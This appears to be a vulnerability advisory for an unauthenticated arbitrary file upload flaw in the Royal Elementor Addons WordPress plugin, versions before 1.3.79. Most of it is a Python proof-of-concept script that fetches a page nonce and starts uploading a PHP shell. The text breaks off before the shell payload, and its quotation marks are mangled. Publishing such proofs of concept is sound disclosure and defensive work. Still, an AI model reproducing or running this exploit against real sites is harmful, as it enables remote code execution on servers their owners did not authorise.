Royal Elementor Addons and Templates < 1.3.79 - Unauthenticated Arbitrary File Upload

Description The plugin does not properly validate uploaded files, which could allow unauthenticated users to upload arbitrary files, such as PHP and achieve RCE.

PoC

Make sure you have Elementor installed and a page or post edited with Elementor. Here’s the python script that will execute the exploit. from io import StringIO import requests from urllib import parse import json import sys import re import io if len(sys.argv) != 2: print(‘USAGE: python %s ’ % (sys.argv[0],)) sys.exit() elementor_url = sys.argv[1].rstrip(’/‘) parsed_url = parse.urlparse(elementor_url) root_url = f’{parsed_url.scheme}://{parsed_url.netloc}’ with requests.Session() as s: print(‘# Getting nonce…’) page = s.get(elementor_url).text nonce = re.search(r’WprConfig = \{.*“nonce”:“([a-f0-9]+)”‘, page).groups() if len(nonce) == 0: print(‘Error: Couldn't get nonce.’) sys.exit() nonce = nonce[0] print(’# Uploading shell…‘) shell = io.BytesIO(b’